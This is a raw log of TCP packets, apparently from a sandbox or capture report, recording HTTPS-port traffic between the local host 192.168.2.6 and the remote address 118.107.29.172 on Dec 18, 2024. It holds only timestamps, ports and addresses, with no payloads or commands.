Dec 18, 2024 13:35:33.051330090 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.056930065 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.056952953 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.057001114 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.057010889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.057044029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.057059050 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.063258886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.063281059 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.063340902 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.063349962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.063390970 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.197781086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.197818041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.197868109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.197890997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.197905064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.197942972 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.219199896 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.219228983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.219319105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.219335079 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.219439030 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.225178957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.225199938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.225244045 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.225255013 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.225277901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.225297928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.230664968 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.230694056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.230745077 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.230766058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.230796099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.230813980 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.237436056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.237457991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.237504959 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.237535954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.237580061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.237601042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.243191957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.243212938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.243261099 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.243287086 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.243401051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.243401051 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.249155045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.249185085 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.249252081 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.249280930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.249308109 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.249419928 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.255362034 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.255395889 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.255430937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.255441904 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.255474091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.255490065 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.389621973 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.389647961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.389708042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.389784098 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.389815092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.389841080 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.411860943 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.411892891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.411948919 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.411962986 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.412002087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.417376041 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.417397976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.417440891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.417448997 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.417474031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.417493105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.423774004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.423799038 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.423831940 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.423840046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.423871040 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.423894882 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.429543972 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.429565907 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.429635048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.429642916 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.429672003 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.429688931 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.435585976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.435611963 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.435643911 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.435652971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.435689926 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.435704947 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.441793919 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.441817045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.441864014 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.441881895 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.441896915 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.441920042 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.447695017 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.447716951 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.447763920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.447774887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.447803020 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.447823048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.581816912 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.581842899 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.581908941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.581933022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.581971884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.604991913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.605017900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.605092049 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.605115891 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.605160952 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.609702110 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.609724045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.609778881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.609790087 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.609819889 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.609864950 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.615854025 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.615876913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.615927935 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.615936995 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.615979910 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.621436119 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.621458054 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.621495962 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.621505022 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.621535063 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.621550083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.627569914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.627593994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.627635002 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.627645016 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.627675056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.627747059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.633645058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.633668900 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.633702993 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.633713007 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.633754015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.639756918 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.639782906 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.639816999 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.639825106 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.639862061 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.773996115 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.774019957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.774059057 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.774090052 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.774104118 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.774130106 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.796098948 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.796122074 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.796156883 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.796173096 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.796192884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.796219110 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.801736116 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.801779032 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.801819086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.801826954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.801862955 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.801882029 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.808110952 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.808131933 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.808192015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.808207035 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.808248043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.813592911 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.813618898 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.813666105 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.813680887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.813707113 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.813723087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.820457935 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.820482969 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.820522070 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.820537090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.820563078 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.820580006 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.825903893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.825923920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.825994015 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.826004028 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.826044083 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.832703114 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.832726955 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.832756996 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.832766056 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.832809925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.966187954 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.966213942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.966289043 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.966305971 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.966345072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.988231897 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.988260031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.988302946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.988315105 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.988352060 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.993993044 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.994015932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.994057894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.994069099 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:33.994096041 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:33.994113922 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.000593901 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.000617981 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.000655890 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.000665903 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.000694990 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.000714064 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.005883932 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.005904913 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.005939007 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.005947113 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.005985022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.012140989 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.012162924 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.012203932 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.012216091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.012245893 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.012265921 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.018085957 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.018106937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.018145084 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.018151999 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.018188000 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.018204927 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.024214983 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.024239063 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.024276018 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.024283886 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.024326086 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.158484936 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.158508062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.158562899 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.158586979 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.158611059 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.158628941 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.180391073 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.180413961 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.180495024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.180529118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.180568933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.186392069 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.186413050 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.186492920 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.186503887 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.186546087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.192477942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.192501068 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.192534924 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.192544937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.192570925 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.192585945 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.198899031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.198920965 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.198941946 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.198982954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.198988914 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.199023008 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.204427958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.204456091 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.204493046 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.204499960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.204526901 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.204540968 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.210311890 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.210333109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.210374117 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.210381031 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.210411072 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.210426092 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.216515064 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.216536045 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.216564894 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.216572046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.216602087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.216624022 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.350446939 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.350481987 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.350527048 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.350543976 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.350581884 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.350601912 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.372617960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.372642994 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.372678995 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.372689962 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.372724056 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.372742891 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.378464937 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.378484964 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.378519058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.378528118 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.378575087 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.384624958 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.384646893 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.384689093 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.384696960 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.384731054 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.384747028 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.391073942 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.391094923 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.391134024 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.391140938 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.391175032 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.391207933 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.396464109 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.396492004 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.396526098 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.396534920 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.396559954 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.396576881 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.402348042 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.402370930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.402407885 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.402415991 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.402451038 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.402471066 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.408675909 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.408699036 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.408731937 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.408739090 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.408766031 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.408786058 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.542880058 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.542906046 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.542983055 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.542995930 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.543042898 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.564729929 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.564758062 CET	443	49728	118.107.29.172	192.168.2.6
Dec 18, 2024 13:35:34.564814091 CET	49728	443	192.168.2.6	118.107.29.172
Dec 18, 2024 13:35:34.564825058 CET	443	49728	118.107.29.172	192.168.2.6
